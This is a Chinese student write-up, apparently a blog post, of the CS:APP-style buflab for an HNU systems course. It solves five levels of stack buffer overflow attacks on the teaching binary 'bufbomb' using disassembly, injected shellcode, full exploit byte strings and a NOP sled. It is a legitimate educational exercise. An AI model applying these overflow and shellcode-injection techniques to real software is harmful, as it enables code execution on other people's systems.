HNU-计算机系统实验-buflab-2022级

实验目的

  • 了解函数调用过程,栈帧开辟释放,缓冲区溢出等知识。
  • 学习缓冲区溢出攻击相关知识

实验介绍

本实验的目的在于加深对IA-32函数调用规则和栈结构的具体理解。实验的主要内容是对一个可执行程序“bufbomb”实施一系列缓冲区溢出攻击(buffer overflow attacks),也就是设法通过造成缓冲区溢出来改变该可执行程序的运行内存映像,继而执行一些原来程序中没有的行为,例如将给定的字节序列插入到其本不应出现的内存位置等。本次实验需要你熟练运用gdb、objdump、gcc等工具完成。

在这个实验中我们有三个主要文件用于实验:

  • bufbomb :这个是我们要进行攻击的,具有缓冲区漏洞的文件。
  • makecookie :这个文件可以产生一个你的特属 cookie ,这个个cookie是你后续实验中要用到 的,可以说是你的专属密码。
  • hex2raw :这个文件,是一个小工具,这个小工具可以帮你转换一个按照ASCII中的编码对应十六 进制的串到一个字符串。这个生成的字符串是你用来攻击的武器。通过这个字节为单位的字符串生 成一个同样一一对应的字符串,这个字符串中每个字节的机器码,就是你的每个十六进制数对印的 字节的机器码。

关于 bufbomb 文件的参数:

  • -u userid :这个参数我们输入自己的id,你喜欢啥就输啥,这个后面会用来构造你的特殊类似密码的东西。
  • -h :打印出帮助文档,就是告诉你参数的意思的。
  • -n :执行在“Nitro”模式下,这个参数是用在 level4 之下的。这个是给栈基址随机化使用的。
  • -s :submit到网站,对我们没用。

关于缓冲区溢出攻击,以及我们这个实验的一点小说明:

bufbomb 程序从标准输入读取一个字符串,作为它的输入。然后它通过下面getbuf方法 把这个字符串拷贝到定义变量buf中去。

/* Buffer size for getbuf */
#define NORMAL_BUFFER_SIZE 32
int getbuf()
{
	char buf[NORMAL_BUFFER_SIZE];
	Gets(buf);
	return 1;
}

这里主要是通过 Gets 函数来实现的,这里的的 Gets 函数类似于c标准库中的gets函数,它能够从标准 输入中读取一个字符串,它是以“\n”作为结尾标志。

同时在上面的的程序中,我们也可以看到这个 buf 只有32个字节,但是标准输入的字符串长度不一定是 32个字节的。这就意味着, Gets 做的事情,就是简单的把字符串从第一个开始放,直到你的字符串到“\0”为止。如果放的字符串超过了 buf 空间,可能会破坏已有的栈空间。这就是我们利用这一点做到的缓冲区攻击。这个攻击字符串被称作 exploit string ,即攻击字符串。

Tips:

  1. 可以用管道符“|”简化你的答案输入:
sh> cat level0.txt | ./hex2raw | ./bufbomb -u userid

管道符就是把前者的输出作为后者的输入。

  • level0.txt 的内容是我们0号关卡的答案字符串,这里,我们把它cat出来,放到hex2raw程序中去,作为输入。通过 hex2raw 程序我们得到拷贝到数组中的字符串。 然后再它作为 bufbomb 程序的输入。
  1. 你也可以分步完成上面的过程,利用文件输入输出重定向符 “<” 以及 “>”。
sh> ./hex2raw < exploit.txt > exploit-raw.txt
sh> ./bufbomb -u puitar < exploit-raw.txt

如何产生正确的机器码:

你可以使用 gcc 作为汇编器然后使用 objdump 作为反汇编器,这样能够很方便产生正确顺序的机器指令 字节编码。例如可以编写一个 example.S 文件包含如下汇编代码。

# Example of hand-generated assembly code
push $0xabcdef # Push value onto stack
add $17, %eax # Add 17 to %eax
.align 4 # Following will be aligned on multiple of 4
.long 0xfedcba98 # A 4-byte constant

这段代码包含了指令和数据。 我们可以汇编以及反汇编得到机器码:

sh> gcc -m32 -c example.S
sh> objdump -d example.o > example.d

所产生的example.d包含了以下内容:

68 ef cd ab 00 push $0xabcdef
83 c0 11 add $0x11,%eax
98 cwtl
ba .byte 0xba
dc fe fdivr %st,%st(6)

这样就得到了机器码。

Level 0: Candle (10 pts)

上面的介绍中已经介绍过 getbuf 函数的相关情况了,这个函数在 bufbomb 程序中被 test 函数调用。下 面是 test 方法的C程序代码。

void test()
{
	int val;
	/* Put canary on stack to detect possible corruption */
	volatile int local = uniqueval();
	val = getbuf();
	/* Check for corrupted stack */
	if (local != uniqueval()) {
		printf("Sabotaged!: the stack has been corrupted\n");
	}
	else if (val == cookie) {
		printf("Boom!: getbuf returned 0x%x\n", val);
		validate(3);
	} else {
		printf("Dud: getbuf returned 0x%x\n", val);
	}
}

在上面代码的第六行,我们通过在在test函数中调用 getbuf 函数并且用变量 val 获得函数的返回值。 local是一个栈末尾金丝雀变量,这个变量是用来检测栈溢出的。从上面代码第七行开始,程序会对栈金丝雀进行检查,根据这个随机数判断是不是溢出,我们要做的就是改变程序运行的状态。不让它运行到这里。

根据实验指导书在 bufbomb 文件中还有一个函数 smoke ,它的C代码如下:

void smoke()
{
	printf("Smoke!: You called smoke()\n");
	validate(0);
	exit(0);
}

我们的任务就是要让 bufbomb 程序能够执行到smoke的代码,但是 test 中没有显示的调用 smoke 程 序。这里的点就是通过 getbuf 存在的缓冲区溢出漏洞,构造字符串,是的字符串溢出能够隐式地改变 栈空间,改变getbuf的返回地址,不是让它返回到 test 中去,而是返回到 smoke 去。

为了实现这个目的,我们要充分利用这个 getbuf 的缓冲区漏洞。所以我们更加深入了解一下 getbuf 的 机器表达,看看它的汇编如下:

08049262 <getbuf>:
 8049262:	55                   	push   %ebp
 8049263:	89 e5                	mov    %esp,%ebp
 8049265:	83 ec 38             	sub    $0x38,%esp
 8049268:	8d 45 d8             	lea    -0x28(%ebp),%eax
 804926b:	89 04 24             	mov    %eax,(%esp)
 804926e:	e8 bf f9 ff ff       	call   8048c32 <Gets>
 8049273:	b8 01 00 00 00       	mov    $0x1,%eax
 8049278:	c9                   	leave  
 8049279:	c3                   	ret    

在上面的代码中我们可以看到 804926e 行调用了 Gets ,这个 Gets 就是拷贝函数,它会完成缓冲区攻击 字串的拷贝,以及改造现有栈空间的过程。具体的,我们通过 8049268 行以及 804926b 行传递参数的汇 编代码,我们可以了解到,buf字符数组的数组头在-0x28(%ebp),%eax。而我们知道返回地址是在 0x4(%ebp) 的位置。

image-20240520194602686

看看上面的示意图,当我们从 buf 的位置开始拷贝,一直向上拷贝,如果拷贝的内容在32字节以内的 话,就不会发生溢出。但是我们就是要它溢出,那么写几个字符比较合适呢?这里我们只要用我们的字符串覆盖return address部分就好了。覆盖 return addr 部分的数值,应该是 smoke 函数的入口。 下面是 smoke 的汇编代码

08048e0a <smoke>:
 8048e0a:	55                   	push   %ebp
 8048e0b:	89 e5                	mov    %esp,%ebp
 8048e0d:	83 ec 18             	sub    $0x18,%esp
 8048e10:	c7 44 24 04 fe a2 04 	movl   $0x804a2fe,0x4(%esp)
 8048e17:	08 
 8048e18:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048e1f:	e8 6c fb ff ff       	call   8048990 <__printf_chk@plt>
 8048e24:	c7 04 24 00 00 00 00 	movl   $0x0,(%esp)
 8048e2b:	e8 50 04 00 00       	call   8049280 <validate>
 8048e30:	c7 04 24 00 00 00 00 	movl   $0x0,(%esp)
 8048e37:	e8 94 fa ff ff       	call   80488d0 <exit@plt>

得到它的入口地址: 0x8048e0a。缓冲区大小为0x28,即40。我们需要在填满整个缓冲区后再覆盖掉8个字节,从而覆盖掉返回地址(小端存储)。所以要写48个字符。所以我们凑出44个字节,只要最后四个是返回地址即可:

image-20240520202036473

这里有个问题,0a表示的是\n符所以不会被正常读取,这一点也在报告书中明确指出。由于 smoke后面exit直接退出了,所以 push %ebp 也没啥用,因为不返回了。所以我们略过 8048e0a 这一句,用 8048e0b 这一句。

验证正确性:

image-20241022123557498

Level 1: Sparkler (10 pts)

根据实验指导书中指示,在 bufbomb 同样有这么一个函数叫做 fizz ,它C语言代码如下:

void fizz(int val)
{
	if (val == cookie) {
		printf("Fizz!: You called fizz(0x%x)\n", val);
		validate(1);
	} else
		printf("Misfire: You called fizz(0x%x)\n", val);
		exit(0);
}

和level0类似,我们的任务就是获得让程序能够运行到fizz。但是,有一点小小的不同 fizz 函数需要传 递一个参数,这个参数是我们的 cookie。

08048daf <fizz>:
 8048daf:	55                   	push   %ebp
 8048db0:	89 e5                	mov    %esp,%ebp
 8048db2:	83 ec 18             	sub    $0x18,%esp
 8048db5:	8b 45 08             	mov    0x8(%ebp),%eax
 8048db8:	3b 05 04 d1 04 08    	cmp    0x804d104,%eax
 8048dbe:	75 26                	jne    8048de6 <fizz+0x37>
 8048dc0:	89 44 24 08          	mov    %eax,0x8(%esp)
 8048dc4:	c7 44 24 04 e0 a2 04 	movl   $0x804a2e0,0x4(%esp)
 8048dcb:	08 
 8048dcc:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048dd3:	e8 b8 fb ff ff       	call   8048990 <__printf_chk@plt>
 8048dd8:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048ddf:	e8 9c 04 00 00       	call   8049280 <validate>
 8048de4:	eb 18                	jmp    8048dfe <fizz+0x4f>
 8048de6:	89 44 24 08          	mov    %eax,0x8(%esp)
 8048dea:	c7 44 24 04 d4 a4 04 	movl   $0x804a4d4,0x4(%esp)
 8048df1:	08 
 8048df2:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048df9:	e8 92 fb ff ff       	call   8048990 <__printf_chk@plt>
 8048dfe:	c7 04 24 00 00 00 00 	movl   $0x0,(%esp)
 8048e05:	e8 c6 fa ff ff       	call   80488d0 <exit@plt>

smoke函数不同的是,还需要知道 0x8(%ebp) 存放的是第一个参数,这个函数只有一个参数。在level0的基础上调节入口地址到 0x08048daf ,在此的基础上还需要再加上我的8位cookie。

image-20241022124555109

与第一关相似,更改getbuf()的返回地址为fizz()的入口地址。进入fizz()后,esp的值加4,之后push %ebp,esp的值减4,再由mov %esp,%ebp,我们可以确定fizz()的参数的地址。需要构造40+4个随机字符,然后是fizz()函数的入口,再来四个随机字符,最后是我的cookie值:

image-20240520205529100

验证正确性:

image-20241022123725320

Level 2: Firecracker (15 pts)

作为一名清除栈帧机制的程序员,我们可以充分利用缓冲区攻击字串来构造汇编代码。

缓冲区攻击字串会覆盖返回指针的位置,然后把这个返回地址指向你写的汇编代码的头,就可以实现, 返回后,直接跳转到你写的汇编代码的地方,这就很amazing啊。

让我们来看看这个实验的部分。当调用函数,实际上就是我们这里的 getbuf 函数执行它的 ret 指令的 时候,程序会执行栈中存储的代码,而不是返回。这才是真正意义上的缓冲区溢出攻击!你可以用着这 种方式来编写你自己的程序,并且让程序做几乎所有事情。这段你写的代码被称为 exploit code ,我 把它称作缓冲区攻击代码。这种风格的攻击方式非常有趣,因为你必须自己写需要运行的代码,而且自 己设置返回的地址。

在文件 bufbomb 中,有一个 bang 函数,下面是它C代码:

int global_value = 0;
void bang(int val)
{
	if (global_value == cookie) {
		printf("Bang!: You set global_value to 0x%x\n", global_value);
		validate(2);
	} else
		printf("Misfire: global_value = 0x%x\n", global_value);
		exit(0);
}

类似于前两个level,我们的任务就是能够把返回地址设置成 bang 的入口地址。使得代码能够执行 bang 函数,而不是返回 test 函数。在此之前,你必须要设置一个全局变量 global_value 到你的代码中 去。 push 函数 bang 的地址到栈中去,然后执行ret指令,就能够导致跳转到bang的代码片段了。先看一下反汇编:

08048d52 <bang>:
 8048d52:	55                   	push   %ebp
 8048d53:	89 e5                	mov    %esp,%ebp
 8048d55:	83 ec 18             	sub    $0x18,%esp
 8048d58:	a1 0c d1 04 08       	mov    0x804d10c,%eax
 8048d5d:	3b 05 04 d1 04 08    	cmp    0x804d104,%eax
 8048d63:	75 26                	jne    8048d8b <bang+0x39>
 8048d65:	89 44 24 08          	mov    %eax,0x8(%esp)
 8048d69:	c7 44 24 04 ac a4 04 	movl   $0x804a4ac,0x4(%esp)
 8048d70:	08 
 8048d71:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048d78:	e8 13 fc ff ff       	call   8048990 <__printf_chk@plt>
 8048d7d:	c7 04 24 02 00 00 00 	movl   $0x2,(%esp)
 8048d84:	e8 f7 04 00 00       	call   8049280 <validate>
 8048d89:	eb 18                	jmp    8048da3 <bang+0x51>
 8048d8b:	89 44 24 08          	mov    %eax,0x8(%esp)
 8048d8f:	c7 44 24 04 c2 a2 04 	movl   $0x804a2c2,0x4(%esp)
 8048d96:	08 
 8048d97:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048d9e:	e8 ed fb ff ff       	call   8048990 <__printf_chk@plt>
 8048da3:	c7 04 24 00 00 00 00 	movl   $0x0,(%esp)
 8048daa:	e8 21 fb ff ff       	call   80488d0 <exit@plt>

查看第5,6行地址的内容:

image-20240520214149652

发现0x804d10c里存放的是global_value0x804d104里存放的是cookie

image-20240520232506240

根据上面的结构图,我们同样可以查取到 buf 位置,我选择把我的攻击指令放在buf数组的前端。

image-20241022124734488

我刚开始的思路是先将global_value修改为cookie值,再使用jmp指令,直接跳转到bang函数,所以写出以下汇编:

movl $0x69d56be4,0x0804d10c		#修改变量值
jmp 0x08048d52					#bang函数地址

生成如下机器码:

00000000 <.text>:
   0:	c7 05 0c d1 04 08 e4 	movl   $0x69d56be4,0x804d10c
   7:	6b d5 69 
   a:	e9 52 8d 04 08       	jmp    0x8048d52

在得到的字串后再加上缓冲区的首地址,用来覆盖原返回地址,可获得最后的攻击字符串:

image-20240520235202529

验证结果:

image-20241022123922847

但是很遗憾,发生了段错误,为什么?原来指导书中明确指出 jmp 和 call 会引发段错误,原因是,涉及到pc相关地址的修改。而是要使用 push return_addr 配合ret的组合实现。因此我们要写的攻击代码应该是下面三条:

movl $0x69d56be4,0x804d10c  #修改变量值
push $0x08048d52             #bang函数地址压栈
ret                         #利用ret语句完成对bang的调用

生成如下机器码:

00000000 <.text>:
   0:	c7 05 0c d1 04 08 e4 	movl   $0x69d56be4,0x804d10c
   7:	6b d5 69 
   a:	68 52 8d 04 08       	push   $0x8048d52
   f:	c3                   	ret 

最终输入编码如下:

image-20240521101227168

验证结果:

image-20241022124109180

Level 3: Dynamite (20 pts)

前几阶段的实验实现的攻击都是使得程序跳转到不同于正常返回地址的其他函数中,进而结束整个程序的运行。因此,攻击字符串所造成的对栈中原有记录值的破坏、改写是可接受的。然而,更高明的缓冲区溢出攻击是,除了执行攻击代码来改变程序的寄存器或内存中的值外,仍然使得程序能够返回到原来的调用函数(例如test)继续执行——即调用函数感觉不到攻击行为。

void test()
{
	int val;
	/* Put canary on stack to detect possible corruption */
	volatile int local = uniqueval();
	val = getbuf();
	/* Check for corrupted stack */
	if (local != uniqueval()) {
		printf("Sabotaged!: the stack has been corrupted\n");
	}
	else if (val == cookie) {
		printf("Boom!: getbuf returned 0x%x\n", val);
		validate(3);
	} else {
		printf("Dud: getbuf returned 0x%x\n", val);
	}
}

对于这个level,我们的工作仍然是提供一个攻击字串。它会导致getbuf函数返回我的cookie test ,而不是返回值value 0x1。看看 test 的代码。test会检查 getbuf 的返回值,如果你返回的值 是 cookie 会引爆炸弹。在这之前他还会利用金丝雀检查栈堆是不是被改变了。所以我们的攻击字串要做到几件事情:

  • 设置返回值为 cookie
  • 恢复所有被改变的状态,
  • 然后 push 正确的的返回地址到栈,
  • 然后执行 ret 指令返回到test,而不是直接 exit

首先我们知道函数的返回值是放在 eax 中,作为返回值返回的。所以 getbuf 在返回后 eax 就是0x1。随 后根据我们攻击字串,会跳转到攻击代码。这一部分我们可以重新把返回值,也就是我们的cookie eax 实现改写返回值的目的。

返回地址就是调用getbuf的下一条,和上一个level一样。用 push return_addr 结合 ret 的组合实现 从攻击代码返回到 test

image-20240521103000429

我们可以看到 getbuf 的返回地址正常情况下应该是0x8048e50

逻辑上, getbuf 返回到攻击代码,攻击代码返回到 testcrack_code 也就是攻击代码应该和 test 的栈底指针一致,这样就能够回到test的栈空间。

通过gdb查看test栈底指针:

image-20240521103722795

结合上面的分析,我们的攻击代码要实现一下功能:

movl $0x69d56be4, %eax # 修改返回值
push $0x8048e50 # 压入返回到test的返回地址
ret # 返回test

得到机器码:

00000000 <.text>:
   0:	b8 e4 6b d5 69       	mov    $0x69d56be4,%eax
   5:	68 50 8e 04 08       	push   $0x8048e50
   a:	c3                   	ret    

所以攻击字符串为:

image-20240521104505003

验证正确性:

image-20241022124150452

Level 4: Nitroglycerin (10 pts)

在这一关我们需要给命令加上 -n 标识

不同用户在调用同一过程的时候,往往堆栈的位置也是大不相同的。这其中的一个原因就是:当一个程序开始运行的时候所有环境变量(environment variable)的值都被放 在了栈的基地址附近。环境变量被以一些字符串的形式存储,根据它的值需要存储占用不同大小的空 间。因此对于一个给定的用户,栈地址的分配依托他的环境变量设置。栈地址在 GDB 下运行时,它的基 地址也会因此产生变化,原因是, GDB 使用栈空间时借助了一些它自己的状态。

在前面调用 getbuf 的过程中,栈都是固定的,因此 getbuf 的栈的位置无论运行几次都是相同的。这样 方便了你写一个攻击字串,因为你是知道 buf 的位置的。如果你尝试使用这样的方式在一个普通程序 上,你会发现它有时能够发生作用,但是它又是也会导致段错误。因此“dynamite”(炸药)——诺贝尔 发明了它,由此而得名。(这里指的是有一部分不稳定的因素使得程序不稳定,可能发生”爆炸“)。

对于这个level,我们需要有逆向思维,栈空间相比于它们正常情况下是更加不稳定的存在。因此 “nitroglycerin”的意思就是——一种爆炸性的十分糟糕的不稳定的存在。

当你运行 bufbomb 的时候,加上“ -n ”标识符,程序会运行在” Nitro “模式下。相比于调用 getbuf ,程 序会调用有一丝丝不同的 getbufn 函数:

/* Buffer size for getbufn */
#define KABOOM_BUFFER_SIZE 512

这个函数和 getbuf 类似,除了buffer的大小是512个字符。你需要利用这些额外的空间来创造一些可靠 的“利用”。代码调用 getbufn 首先会在栈上分配一个随机大小的存储空间。如果你两次成功采样 ebp 的 值,你会发现这两次两者的值得差在±240内。

另外,当运行在Nitro模式下, bufbomb 要求你提交你的攻击字串5次,并且 getbufn 会执行5次,每一 次都是一个不同的栈偏移量。你的攻击字串需要使得函数每次都能够返回你的 cookie

你的任务和dynamite level相同。再一次的,对于这个level,你的任务是提供一个攻击字串,能够导致 getbufn 返回你的 cookie 值到 test ,而不是返回value 0x1。你将会看到程序打印出”KBOOM!“。 你的攻击代码需要设置你的cookie作为返回值,恢复正确的栈空间状态,把正确的返回值入栈,然后 执行ret指令返回到 testn

  • 对于5次 getbufn 你必须要使用同一个字符串,用5次。否则就是错误的。
  • 要充分利用好nop指令,它的机器编码是一个单字节(0x90)。

我们可以看到,在之前的实验中,我们都是以这样的方式来构造攻击字串的。最开始是攻击字串部分, 然后是为了填满 buf 的凑字数部分,最后是返回地址以及 ebp 的设置部分。

先看看getbufn的汇编:

08049244 <getbufn>:
 8049244:	55                   	push   %ebp
 8049245:	89 e5                	mov    %esp,%ebp
 8049247:	81 ec 18 02 00 00    	sub    $0x218,%esp
 804924d:	8d 85 f8 fd ff ff    	lea    -0x208(%ebp),%eax
 8049253:	89 04 24             	mov    %eax,(%esp)
 8049256:	e8 d7 f9 ff ff       	call   8048c32 <Gets>
 804925b:	b8 01 00 00 00       	mov    $0x1,%eax
 8049260:	c9                   	leave  
 8049261:	c3                   	ret    

查看它%ebp的值:

image-20241022124301771

会发现, ebp 是”不确定的“的。而且一共运行五次,每次都不一样。那么 bufn 是根据和 ebp 的相对位 置来开辟的。这样一来, bufn 位置也是变化的。但是有一点是不变的:那就是 bufn 里面的值。所以我 们就需要一个通用的攻击代码,能够在不确定 ebp 的情况下实现攻击。

还有一个点,是这个实验的突破口。不论你运行几次这个 bufbomb 程序的level4,他每次的 getbufn ebp 又总是一样的。这不是矛盾吗,前面说ebp是dynamic的现在又说是一样的。不急,这里的一样是 指,第二次运行 bufbomb 的第一次 getbufnebp 和第一次运行 bufbomb 的第一次 getbufnebp是 一样大的,第二次运行 bufbomb 的第二次 getbufn ebp 和第一次运行 bufbomb 的第二次 getbufnebp 是一样大的…以此类推。五次getbufnebp 一一对应总是相同的,而彼此之间又是不同。

我们可以通过 gdb 查看五次的 bufn 的位置,如下:

第一次第二次第三次第四次第五次
low0x556832d0
0x556832f0
0x55683340
0x556833a0
highox556833b0

五次每次开辟的栈空间总是在这样,不论运行几次。而攻击程序又总是如从低地址向高地址存放和运行 的,攻击字串也是从低地址向高地址存放的。

攻击字串的结构如下:

###攻击字串部分###
# 设置eax为cookie
# 然回到testn中call getbufn的下一条语句
###凑字数部分###
...
###返回地址设置部分###
# old ebp 设置成test的ebp值才行
# 修改返回地址为bufn地址用于跳转到攻击代码

难点就在返会地址设置部分:

  • old ebp 设置成testebp值才行

    • 相比于之前的在这一部分直接赋值老 ebp 的值
    • 因为我们现在是不知道的 因此恢复 old ebp 的工作只能放在攻击代码部分
    • 攻击代码运行的时候栈顶指针实际上已经是 testn 的栈顶指针了
    08048cce <testn>:
     8048cce:	55                   	push   %ebp
     8048ccf:	89 e5                	mov    %esp,%ebp
     8048cd1:	53                   	push   %ebx
     8048cd2:	83 ec 24             	sub    $0x24,%esp
     8048cd5:	e8 3e ff ff ff       	call   8048c18 <uniqueval>
     8048cda:	89 45 f4             	mov    %eax,-0xc(%ebp)
     8048cdd:	e8 62 05 00 00       	call   8049244 <getbufn>
     8048ce2:	89 c3                	mov    %eax,%ebx
     8048ce4:	e8 2f ff ff ff       	call   8048c18 <uniqueval>
     8048ce9:	8b 55 f4             	mov    -0xc(%ebp),%edx
     8048cec:	39 d0                	cmp    %edx,%eax
     8048cee:	74 16                	je     8048d06 <testn+0x38>
     8048cf0:	c7 44 24 04 60 a4 04 	movl   $0x804a460,0x4(%esp)
     8048cf7:	08 
     8048cf8:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
     8048cff:	e8 8c fc ff ff       	call   8048990 <__printf_chk@plt>
     8048d04:	eb 46                	jmp    8048d4c <testn+0x7e>
     8048d06:	3b 1d 04 d1 04 08    	cmp    0x804d104,%ebx
     8048d0c:	75 26                	jne    8048d34 <testn+0x66>
     8048d0e:	89 5c 24 08          	mov    %ebx,0x8(%esp)
     8048d12:	c7 44 24 04 8c a4 04 	movl   $0x804a48c,0x4(%esp)
     8048d19:	08 
     8048d1a:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
     8048d21:	e8 6a fc ff ff       	call   8048990 <__printf_chk@plt>
     8048d26:	c7 04 24 04 00 00 00 	movl   $0x4,(%esp)
     8048d2d:	e8 4e 05 00 00       	call   8049280 <validate>
     8048d32:	eb 18                	jmp    8048d4c <testn+0x7e>
     8048d34:	89 5c 24 08          	mov    %ebx,0x8(%esp)
     8048d38:	c7 44 24 04 a6 a2 04 	movl   $0x804a2a6,0x4(%esp)
     8048d3f:	08 
     8048d40:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
     8048d47:	e8 44 fc ff ff       	call   8048990 <__printf_chk@plt>
     8048d4c:	83 c4 24             	add    $0x24,%esp
     8048d4f:	5b                   	pop    %ebx
     8048d50:	5d                   	pop    %ebp
     8048d51:	c3                   	ret    
    

    查看testn的汇编可知, testnebpesp 的关系:ebp=esp+0x28。

根据上面的相对位置我们只要跳转到0x556833b0-0x208=0x556831a8,那么每一次跳转都能保证跳转到哦 nop 指令上。

攻击汇编代码如下:

movl $0x69d56be4, %eax # 修改返回值
lea 0x28(%esp), %ebp # 恢复ebp到testn的ebp
push $0x8048ce2 # 压入返回到`call getbufn`的下一条指令的位置
ret # 返回到`call getbufn`的下一条指令

上述编码转换为机器码:

00000000 <.text>:
   0:	b8 e4 6b d5 69       	mov    $0x69d56be4,%eax
   5:	8d 6c 24 28          	lea    0x28(%esp),%ebp
   9:	68 e2 8c 04 08       	push   $0x8048ce2
   e:	c3                   	ret    

至于前面 nop 的个数,可以简单计算一下:0x208-15=505(10)

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90

b8 e4 6b d5 69
8d 6c 24 28
68 e2 8c 04 08
c3

00 00 00 00
a8 31 68 55
0a

复制五次,每次以0a相隔。

验证结果:

image-20241022124405468

总结

  • 通过上述实验了解了函数调用过程,栈帧开辟释放,缓冲区溢出等知识。
  • 学习缓冲区溢出攻击不是为了攻击而是写出更加安全的代码
  • 通过金丝雀可以防止缓冲区溢出错误,更具安全性
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值